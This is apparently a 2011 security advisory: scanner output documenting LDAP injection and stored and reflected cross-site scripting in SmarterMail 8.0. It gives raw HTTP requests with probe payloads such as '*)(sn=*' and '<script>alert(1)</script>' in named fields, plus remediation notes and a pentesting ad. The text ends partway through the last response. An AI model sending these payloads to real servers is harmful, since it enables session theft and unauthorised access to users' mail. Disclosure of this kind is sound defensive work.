Stored XSS, SmarterMail 8.0.4086.25048 with MD5 Checksum of a89fc0a43578aa9f66463d97b1caaf15 smartermail8_setup.exe, CWE-79, CAPEC-86, SmarterTools WebServer

XSS.CX Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

Report generated by xss.cx at Mon Mar 14 12:12:34 CDT 2011.


Loading

Executive Summary

Author: Hoyt LLC Research, Boston, MA US
Target: Default Installation of SmarterMail Version 8.0.4086.25048
Tools: Burp Suite Pro 1.3.09, FuzzDB
Description: XSS, Cross Site Scripting in SmarterMail 8.0.4086.25048, CWE-79, CAPEC-86
Keywords: Stored XSS, Reflected XSS, Cross Site Scripting, SmarterMail 8.0.4086.25048, xss.cx, hoyt llc research, CWE-79, CAPEC-86, DORK
Vendor Patch: Use IIS 7 or IIS7.5

1. LDAP injection

1.1. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Logout.aspx [STTTState cookie]

1.2. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Main/frmTask.aspx [user parameter]

2. Cross-site scripting (stored) - Audited and CONFIRMED by Hoyt LLC Research


Version Identification of SmarterMail 8.0.4086.25048 SmarterMail 8.0.4086.25048 with MD5 Checksum of a89fc0a43578aa9f66463d97b1caaf15 smartermail8_setup.exe XSS in SmarterMail 8, DORK, Cross Site Scripting, CWE-79, CAPEC-86

HTTP Request | Response Pair and Alert.Popup with SmarterMail Version ID in the ctl00%24MPH%24wucContactInfo%24txtEmailAddress_SettingText parameter.
This input was returned unmodified in a subsequent request for the URL /Main/frmPopupContactsList.aspx.
Stored XSS in SmarterMail 8.0.4086.25048, DORK, Stored Cross Site Scripting, CWE-79, CAPEC-86

HTTP Request | Response Pair and Alert.Popup with document.cookie in the ctl00%24MPH%24wucContactInfo%24txtEmailAddress_SettingText parameter.
This input was returned unmodified in a subsequent request for the URL /Main/frmPopupContactsList.aspx.
Stored XSS in SmarterMail 8.0.4086.25048, DORK, Stored Cross Site Scripting, CWE-79, CAPEC-86


HTTP Request | Response Pair and Alert.Popup with "XSS" in the ctl00%24MPH%24wucContactInfo%24txtEmailAddress_SettingText parameter.
This input was returned unmodified in a subsequent request for the URL /Main/frmPopupContactsList.aspx.
Stored XSS in SmarterMail 8.0.4086.25048, DORK, Stored Cross Site Scripting, CWE-79, CAPEC-86

3. Cross-site scripting (reflected)

March 14, 2011 @ 2325 GMT - Hoyt LLC Research observes that the Reflected XSS is CONFIRMED


Contractor for Hire: Per Minute, Per Day, Bounty Hunting

Example #1: Automated Vulnerability Crawler: $1/min, max charge is US $10 for 200 URL + 10 Params for
CWE-79, CWE-89 and CWE-113 (XSS, SQL Injection and HTTP Header Injection).
Example #2: Hybrid Risk Analysis: $2/min, max charge is US $30 for 200 URL + 10 Params, Manual Testing of High Value URI/Param targets.
Example #3: Penetration Testing: Individual Case Basis, use Live Chat for a Quote.
Example #4:

3.1. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Default.aspx [ctl00%24PageTitle parameter]

The value of the ctl00%24PageTitle request parameter is copied into the HTML document as plain text between tags. The payload Expression was submitted in the ctl00%24PageTitle parameter. This input was echoed unmodified in the application's response.Stored XSS in SmarterMail 8.0.4086.25048, DORK, Stored Cross Site Scripting, CWE-79, CAPEC-86

3.2. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Default.aspx [ctl00%24PageTitle parameter]

The value of the ctl00%24PageTitle request parameter is copied into the HTML document as plain text between tags. The payload Expression was submitted in the ctl00%24PageTitle parameter. This input was echoed unmodified in the application's response.Stored XSS in SmarterMail 8.0.4086.25048, DORK, Stored Cross Site Scripting, CWE-79, CAPEC-86

3.3. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Default.aspx [ctl00%24Split%24LP%24SessionKey parameter]

4. Cleartext submission of password

4.1. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Login.aspx

4.2. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Main/frmMySettings.aspx

5. Session token in URL

5.1. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Default.aspx

5.2. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Main/frmStoredFiles.aspx

6. Password field with autocomplete enabled

7. Referer-dependent response

8. Cross-domain Referer leakage

8.1. http://vulnerable.smartermail.8.0.4086.25048.host:9998/App_Themes/Default/Javascript/JavaScript.ashx

8.2. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Login.aspx

8.3. http://vulnerable.smartermail.8.0.4086.25048.host:9998/UserControls/Popups/frmHelp.aspx

9. Cookie without HttpOnly flag set

9.1. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Login.aspx

9.2. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Logout.aspx

10. Directory listing

10.1. http://vulnerable.smartermail.8.0.4086.25048.host:9998/App_Themes/Default/Images/

10.2. http://vulnerable.smartermail.8.0.4086.25048.host:9998/App_Themes/Default/Images/16x16/

11. Email addresses disclosed

12. Content type incorrectly stated

12.1. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Default.aspx

12.2. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Login.aspx

12.3. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Main/Calendar/frmEvent.aspx

12.4. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Main/frmCalendar.aspx

12.5. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Main/frmContact.aspx

12.6. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Main/frmTask.aspx

12.7. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Main/frmWelcome.aspx

12.8. http://vulnerable.smartermail.8.0.4086.25048.host:9998/UserControls/Popups/frmDeviceSync.aspx

13. Content type is not specified

13.1. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Main/Calendar/frmEvent.aspx

13.2. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Main/frmCalendar.aspx

13.3. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Main/frmContact.aspx

13.4. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Main/frmContactView.aspx

13.5. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Main/frmTask.aspx

13.6. http://vulnerable.smartermail.8.0.4086.25048.host:9998/UserControls/Popups/frmDeviceSync.aspx



1. LDAP injection  next
There are 2 instances of this issue:

Issue background

LDAP injection arises when user-controllable data is copied in an unsafe way into an LDAP query that is performed by the application. If an attacker can inject LDAP metacharacters into the query, then they can interfere with the query's logic. Depending on the function for which the query is used, the attacker may be able to retrieve sensitive data to which they are not authorised, or subvert the application's logic to perform some unauthorised action.

Note that automated difference-based tests for LDAP injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Issue remediation

If possible, applications should avoid copying user-controllable data into LDAP queries. If this is unavoidable, then the data should be strictly validated to prevent LDAP injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into queries, and any other input should be rejected. At a minimum, input containing any LDAP metacharacters should be rejected; characters that should be blocked include ( ) ; , * | & = and whitespace.


1.1. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Logout.aspx [STTTState cookie]  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://vulnerable.smartermail.8.0.4086.25048.host:9998
Path:   /Logout.aspx

Issue detail

The STTTState cookie appears to be vulnerable to LDAP injection attacks.

The payloads 4139abc91a03feda)(sn=* and 4139abc91a03feda)!(sn=* were each submitted in the STTTState cookie. These two requests resulted in different responses, indicating that the input may be being incorporated into a disjunctive LDAP query in an unsafe manner.

Request 1

GET /Logout.aspx HTTP/1.1
Host: vulnerable.smartermail.8.0.4086.25048.host:9998
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedLanguage=; STTTState=4139abc91a03feda)(sn=*; settings=4%2fSX5IBIrOpTjpmv%2bH%2fKSrcljfhYXweJ; STHashCookie={"CountsGuid":"1193559579","TopBarSection":"UserContacts"}; ASP.NET_SessionId=d2fs1dpzwlo5qgcazbiaveyg; SM5Skin=Default;

Response 1

HTTP/1.1 302 Found
Server: SmarterTools/2.0.4086.25032
Date: Mon, 14 Mar 2011 22:55:57 GMT
X-AspNet-Version: 4.0.30319
Location: /Login.aspx
Set-Cookie: SM5Skin=Default; expires=Sun, 14-Mar-2021 22:55:57 GMT; path=/
Set-Cookie: settings=; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 128
Connection: Close

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="/Login.aspx">here</a>.</h2>
</body></html>

Request 2

GET /Logout.aspx HTTP/1.1
Host: vulnerable.smartermail.8.0.4086.25048.host:9998
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedLanguage=; STTTState=4139abc91a03feda)!(sn=*; settings=4%2fSX5IBIrOpTjpmv%2bH%2fKSrcljfhYXweJ; STHashCookie={"CountsGuid":"1193559579","TopBarSection":"UserContacts"}; ASP.NET_SessionId=d2fs1dpzwlo5qgcazbiaveyg; SM5Skin=Default;

Response 2

HTTP/1.1 302 Found
Server: SmarterTools/2.0.4086.25032
Date: Mon, 14 Mar 2011 22:55:58 GMT
X-AspNet-Version: 4.0.30319
Location: /Login.aspx
Set-Cookie: settings=; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 128
Connection: Close

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="/Login.aspx">here</a>.</h2>
</body></html>

1.2. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Main/frmTask.aspx [user parameter]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://vulnerable.smartermail.8.0.4086.25048.host:9998
Path:   /Main/frmTask.aspx

Issue detail

The user parameter appears to be vulnerable to LDAP injection attacks.

The payloads *)(sn=* and *)!(sn=* were each submitted in the user parameter. These two requests resulted in different responses, indicating that the input may be being incorporated into a conjunctive LDAP query in an unsafe manner.

Request 1

GET /Main/frmTask.aspx?edit=2dad224f767d4458984ce698db6b8dac&user=*)(sn=*&mapped=false HTTP/1.1
Host: vulnerable.smartermail.8.0.4086.25048.host:9998
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedLanguage=; STTTState=; settings=4%2fSX5IBIrOpTjpmv%2bH%2fKSrcljfhYXweJ; STHashCookie={"CountsGuid":"1193559579","TopBarSection":"UserContacts"}; ASP.NET_SessionId=d2fs1dpzwlo5qgcazbiaveyg; SM5Skin=Default;

Response 1

HTTP/1.1 200 OK
Server: SmarterTools/2.0.4086.25032
Date: Mon, 14 Mar 2011 22:54:46 GMT
X-AspNet-Version: 4.0.30319
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 65792
Connection: Close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><title>
   My Tasks - x.xss.cx - Smar
...[SNIP]...
<![CDATA[
UpdateSidebarCounts('UserRSS', 0);
UpdateSidebarCounts('UserSync', 0);
$(function() { if (parent.UpdateCurrentPage) parent.UpdateCurrentPage('\x2fMain\x2ffrmTask\x2easpx?edit\x3d2dad224f767d4458984ce698db6b8dac\x26user\x3d\x2a\x29\x28sn\x253d\x2a\x26mapped\x3dfalse'); });
WebForm_AutoFocus('ctl00_MPH_SubjectBox_SettingText');$(function() { SetTopTitle('My\x20Tasks\x20\x2d\x20x\x2exss\x2ecx\x20\x2d\x20SmarterMail'); });
$(function() { $('#ctl00_TPH_TabStrip').hyperTabStrip({"MultiPageClientID":"ctl00_MPH_MP1","FunctionMap":{},"PageViewMap":{"ctl00_TPH_TabStrip_Tab1":"ctl00_MPH_OptionsTab","ctl00_TPH_TabStrip_Tab3":"ctl00_MPH_DescriptionTab","ctl00_TPH_TabStrip_Tab2":"ctl00_MPH_CategoriesTab"},"ClientCallbacks":{}}); });
modules['vmNotBlank_txt']='Must have a value';
$(function() {$vc({"lt":"Subject","vcID":"ctl00_MPH_SubjectBox_SettingText","VMs":["vmNotBlank"],"VPs":{"vmRequired":true}},true);});
Sys.Application.add_init(function() {
$create(Telerik.Web.UI.RadDateInput, {"_focused":false,"_originalValue":"3/14/2011 5:45:00 PM","_postBackEventReferenceScript":"__doPostBack(\u0027ctl00$MPH$StartDatePicker_SettingText\u0027,\u0027\u0027)","_skin":"SmarterTools","autoPostBack":true,"clientStateFieldID":"ctl00_MPH_StartDatePicker_SettingText_dateInput_ClientState","dateFormat":"M/d/yyyy h:mm tt","dateFormatInfo":{"DayNames":["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],"MonthNames":["January","February","March","April","May","June","July","August","September","October","November","December",""],"AbbreviatedDayNames":["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],"AbbreviatedMonthNames":["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec",""],"AMDesignator":"AM","PMDesignator":"PM","DateSeparator":"/","TimeSeparator":":","FirstDayOfWeek":0,"DateSlots":{"Month":0,"Year":2,"Day":1},"ShortYearCenturyEnd":2029,"TimeInputOnly":false},"displayDateFormat":"M/d/yyyy h:mm tt","enabled":true,"incrementSettings":{InterceptArrow
...[SNIP]...

Request 2

GET /Main/frmTask.aspx?edit=2dad224f767d4458984ce698db6b8dac&user=*)!(sn=*&mapped=false HTTP/1.1
Host: vulnerable.smartermail.8.0.4086.25048.host:9998
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedLanguage=; STTTState=; settings=4%2fSX5IBIrOpTjpmv%2bH%2fKSrcljfhYXweJ; STHashCookie={"CountsGuid":"1193559579","TopBarSection":"UserContacts"}; ASP.NET_SessionId=d2fs1dpzwlo5qgcazbiaveyg; SM5Skin=Default;

Response 2

HTTP/1.1 200 OK
Server: SmarterTools/2.0.4086.25032
Date: Mon, 14 Mar 2011 22:54:46 GMT
X-AspNet-Version: 4.0.30319
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 65761
Connection: Close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><title>
   My Tasks - x.xss.cx - Smar
...[SNIP]...
<![CDATA[
UpdateSidebarCounts('UserSync', 0);
$(function() { if (parent.UpdateCurrentPage) parent.UpdateCurrentPage('\x2fMain\x2ffrmTask\x2easpx?edit\x3d2dad224f767d4458984ce698db6b8dac\x26user\x3d\x2a\x29\x21\x28sn\x253d\x2a\x26mapped\x3dfalse'); });
WebForm_AutoFocus('ctl00_MPH_SubjectBox_SettingText');$(function() { SetTopTitle('My\x20Tasks\x20\x2d\x20x\x2exss\x2ecx\x20\x2d\x20SmarterMail'); });
$(function() { $('#ctl00_TPH_TabStrip').hyperTabStrip({"MultiPageClientID":"ctl00_MPH_MP1","FunctionMap":{},"PageViewMap":{"ctl00_TPH_TabStrip_Tab1":"ctl00_MPH_OptionsTab","ctl00_TPH_TabStrip_Tab3":"ctl00_MPH_DescriptionTab","ctl00_TPH_TabStrip_Tab2":"ctl00_MPH_CategoriesTab"},"ClientCallbacks":{}}); });
modules['vmNotBlank_txt']='Must have a value';
$(function() {$vc({"lt":"Subject","vcID":"ctl00_MPH_SubjectBox_SettingText","VMs":["vmNotBlank"],"VPs":{"vmRequired":true}},true);});
Sys.Application.add_init(function() {
$create(Telerik.Web.UI.RadDateInput, {"_focused":false,"_originalValue":"3/14/2011 5:45:00 PM","_postBackEventReferenceScript":"__doPostBack(\u0027ctl00$MPH$StartDatePicker_SettingText\u0027,\u0027\u0027)","_skin":"SmarterTools","autoPostBack":true,"clientStateFieldID":"ctl00_MPH_StartDatePicker_SettingText_dateInput_ClientState","dateFormat":"M/d/yyyy h:mm tt","dateFormatInfo":{"DayNames":["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],"MonthNames":["January","February","March","April","May","June","July","August","September","October","November","December",""],"AbbreviatedDayNames":["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],"AbbreviatedMonthNames":["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec",""],"AMDesignator":"AM","PMDesignator":"PM","DateSeparator":"/","TimeSeparator":":","FirstDayOfWeek":0,"DateSlots":{"Month":0,"Year":2,"Day":1},"ShortYearCenturyEnd":2029,"TimeInputOnly":false},"displayDateFormat":"M/d/yyyy h:mm tt","enabled":true,"incrementSettings":{InterceptArrowKeys:true,InterceptMouseWheel:tr
...[SNIP]...

2. Cross-site scripting (stored)  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://vulnerable.smartermail.8.0.4086.25048.host:9998
Path:   /Main/frmPopupContactsList.aspx

Issue detail

The value of the ctl00%24MPH%24wucContactInfo%24txtEmailAddress_SettingText request parameter submitted to the URL /Main/frmContact.aspx is copied into the HTML document as plain text between tags at the URL /Main/frmPopupContactsList.aspx. The payload e7bf9<script>alert(1)</script>96f90bed938 was submitted in the ctl00%24MPH%24wucContactInfo%24txtEmailAddress_SettingText parameter. This input was returned unmodified in a subsequent request for the URL /Main/frmPopupContactsList.aspx.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Issue background

Stored cross-site scripting vulnerabilities arise when data which originated from any tainted source is copied into the application's responses in an unsafe way. An attacker can use the vulnerability to inject malicious JavaScript code into the application, which will execute within the browser of any user who views the relevant application content.

The attacker-supplied code can perform a wide variety of actions, such as stealing victims' session tokens or login credentials, performing arbitrary actions on their behalf, and logging their keystrokes.

Methods for introducing malicious content include any function where request parameters or headers are processed and stored by the application, and any out-of-band channel whereby data can be introduced into the application's processing space (for example, email messages sent over SMTP which are ultimately rendered within a web mail application).

Stored cross-site scripting flaws are typically more serious than reflected vulnerabilities because they do not require a separate delivery mechanism in order to reach target users, and they can potentially be exploited to create web application worms which spread exponentially amongst application users.

Note that automated detection of stored cross-site scripting vulnerabilities cannot reliably determine whether attacks that are persisted within the application can be accessed by any other user, only by authenticated users, or only by the attacker themselves. You should review the functionality in which the vulnerability appears to determine whether the application's behaviour can feasibly be used to compromise other application users.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request 1

POST /Main/frmContact.aspx?popup=true HTTP/1.1
Host: vulnerable.smartermail.8.0.4086.25048.host:9998
Proxy-Connection: keep-alive
Referer: http://vulnerable.smartermail.8.0.4086.25048.host:9998/Main/frmContact.aspx?popup=true
Origin: http://vulnerable.smartermail.8.0.4086.25048.host:9998
X-Requested-With: XMLHttpRequest
Cache-Control: no-cache
X-MicrosoftAjax: Delta=true
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=d2fs1dpzwlo5qgcazbiaveyg; SelectedLanguage=; settings=4%2fSX5IBIrOpTjpmv%2bH%2fKSrcljfhYXweJ; SM5Skin=Default; STTTState=
Content-Length: 17022

ctl00%24ScriptManager1=ctl00%24ScriptManager1%7Cctl00%24BPH%24btnSave&__LASTFOCUS=&__EVENTTARGET=ctl00%24BPH%24btnSave&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUJODY5NTM0MTk5DxYGHghfX19UaXRsZQULTXkgQ29udG
...[SNIP]...
e_SettingText=gg&ctl00%24MPH%24wucContactInfo%24txtLastName_SettingText=gg&ctl00%24MPH%24wucContactInfo%24txtPersonNameSuffix_SettingText=gg&ctl00%24MPH%24wucContactInfo%24txtEmailAddress_SettingText=e7bf9<script>alert(1)</script>96f90bed938&ctl00%24MPH%24wucContactInfo%24txtInstantMessenger_SettingText=&ctl00%24MPH%24wucContactInfo%24txtWebPage_SettingText=&ctl00%24MPH%24wucContactInfo%24BirthDayPicker_SettingText=2011-03-15&ctl00_MPH_w
...[SNIP]...

Request 2

GET /Main/frmPopupContactsList.aspx HTTP/1.1
Host: vulnerable.smartermail.8.0.4086.25048.host:9998
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedLanguage=; STTTState=; settings=4%2fSX5IBIrOpTjpmv%2bH%2fKSrcljfhYXweJ; STHashCookie={"CountsGuid":"1193559579","TopBarSection":"UserContacts"}; ASP.NET_SessionId=d2fs1dpzwlo5qgcazbiaveyg; SM5Skin=Default;

Response 2

HTTP/1.1 200 OK
Server: SmarterTools/2.0.4086.25032
Date: Mon, 14 Mar 2011 22:54:19 GMT
X-AspNet-Version: 4.0.30319
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Content-Type: text/html; charset=utf-8
Content-Length: 12740
Connection: Close


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head id="ctl00_head1"><title>
   Recipients
</title><script type
...[SNIP]...
<td class="rc leftpad">e7bf9<script>alert(1)</script>96f90bed938</td>
...[SNIP]...

3. Cross-site scripting (reflected)  previous  next
There are 3 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


3.1. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Default.aspx [ctl00%24PageTitle parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://vulnerable.smartermail.8.0.4086.25048.host:9998
Path:   /Default.aspx

Issue detail

The value of the ctl00%24PageTitle request parameter is copied into the HTML document as plain text between tags. The payload 31573<a>ad3dfcd9cf2 was submitted in the ctl00%24PageTitle parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

POST /Default.aspx?section=UserContacts HTTP/1.1
Host: vulnerable.smartermail.8.0.4086.25048.host:9998
Proxy-Connection: keep-alive
Referer: http://vulnerable.smartermail.8.0.4086.25048.host:9998/Default.aspx?section=UserContacts
Origin: http://vulnerable.smartermail.8.0.4086.25048.host:9998
X-Requested-With: XMLHttpRequest
Cache-Control: no-cache
X-MicrosoftAjax: Delta=true
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=d2fs1dpzwlo5qgcazbiaveyg; SelectedLanguage=; settings=4%2fSX5IBIrOpTjpmv%2bH%2fKSrcljfhYXweJ; SM5Skin=Default; STTTState=; STHashCookie={"CountsGuid":"1333095316","TopBarSection":"UserTasks"}
Content-Length: 1423

ctl00%24ScriptManager1=ctl00%24Split%24LP%24StyledUpdatePanel1%7Cctl00%24Split%24LP%24ctl01%24lnkFilter&ctl00_Split_LP_ctl01_menuTasksSourceTitle_menuTasksSource_menuSourceSelf_CB=on&ctl00_Split_LP_ct
...[SNIP]...
24ctl01%24grdTasksSelectedIDs=&ctl00%24Split%24LP%24ctl01%24grdTasksScrollPos=&ctl00%24Split%24LP%24SessionKey=908ee3f829c34b52a49f32297ba0d8b9&ctl00%24PageTitle=Tasks%20-%20x.xss.cx%20-%20SmarterMail31573<a>ad3dfcd9cf2&ctl00%24PanelLoadedState=%7B%22Contacts%22%3A%229562627F-48D3-4CB9-ABD2-6Bvulnerable.smartermail.8.0.host0F5E1C58%22%7D&__EVENTTARGET=ctl00%24Split%24LP%24ctl01%24lnkFilter&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKLTcwODg1MTE2Ng8W
...[SNIP]...

Response

HTTP/1.1 200 OK
Server: SmarterTools/2.0.4086.25032
Date: Mon, 14 Mar 2011 22:57:13 GMT
X-AspNet-Version: 4.0.30319
X-Compressed-By: HttpCompress
Cache-Control: private
Content-Type: text/plain; charset=utf-8
Connection: Close
Content-Length: 11423

1|#||4|5355|updatePanel|ctl00_Split_LP_StyledUpdatePanel1|

<div class="PageTitle" id="SectionHeader">
   <div class="RoundedPageTitleLeft">
       <div class="RoundedPageTitleRight">
       
...[SNIP]...
|childUpdatePanelIDs|||34|panelsToRefreshIDs||ctl00$Split$LP$StyledUpdatePanel1,|2|asyncPostBackTimeout||90|33|formAction||Default.aspx?section=UserContacts|49|pageTitle||Tasks - x.xss.cx - SmarterMail31573<a>ad3dfcd9cf2|1115|scriptBlock|ScriptContentWithTags|{"text":"\r\n\t\tfunction IsSystemFolder() {\r\n\t\t\tvar selectedNode = $(\u0027#ctl00_Split_LP_ctl01_treeMail\u0027).getSelectedTreeNode();\r\n\t\t\tif (!selec
...[SNIP]...

3.2. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Default.aspx [ctl00%24PageTitle parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://vulnerable.smartermail.8.0.4086.25048.host:9998
Path:   /Default.aspx

Issue detail

The value of the ctl00%24PageTitle request parameter is copied into the HTML document as plain text between tags. The payload 5b3f8<script>alert(1)</script>f44f08790vulnerable.smartermail.8.0.host was submitted in the ctl00%24PageTitle parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /Default.aspx?section=UserContacts HTTP/1.1
Host: vulnerable.smartermail.8.0.4086.25048.host:9998
Proxy-Connection: keep-alive
Referer: http://vulnerable.smartermail.8.0.4086.25048.host:9998/Default.aspx?section=UserContacts
Origin: http://vulnerable.smartermail.8.0.4086.25048.host:9998
X-Requested-With: XMLHttpRequest
Cache-Control: no-cache
X-MicrosoftAjax: Delta=true
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=d2fs1dpzwlo5qgcazbiaveyg; SelectedLanguage=; settings=4%2fSX5IBIrOpTjpmv%2bH%2fKSrcljfhYXweJ; SM5Skin=Default; STTTState=; STHashCookie={"CountsGuid":"1333095316"}
Content-Length: 1030

ctl00%24ScriptManager1=ctl00%24Split%24LP%24StyledUpdatePanel1%7Cctl00%24Split%24LP%24ctl01%24lnkFilter&__EVENTTARGET=ctl00%24Split%24LP%24ctl01%24lnkFilter&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKLTcw
...[SNIP]...
4grdContactsSelectedIDs=&ctl00%24Split%24LP%24ctl01%24grdContactsScrollPos=&ctl00%24Split%24LP%24SessionKey=908ee3f829c34b52a49f32297ba0d8b9&ctl00%24PageTitle=Contacts%20-%20x.xss.cx%20-%20SmarterMail5b3f8<script>alert(1)</script>f44f08790vulnerable.smartermail.8.0.host&ctl00%24PanelLoadedState=%7B%7D&__ASYNCPOST=true&

Response

HTTP/1.1 200 OK
Server: SmarterTools/2.0.4086.25032
Date: Mon, 14 Mar 2011 22:38:46 GMT
X-AspNet-Version: 4.0.30319
X-Compressed-By: HttpCompress
Cache-Control: private
Content-Type: text/plain; charset=utf-8
Connection: Close
Content-Length: 86336

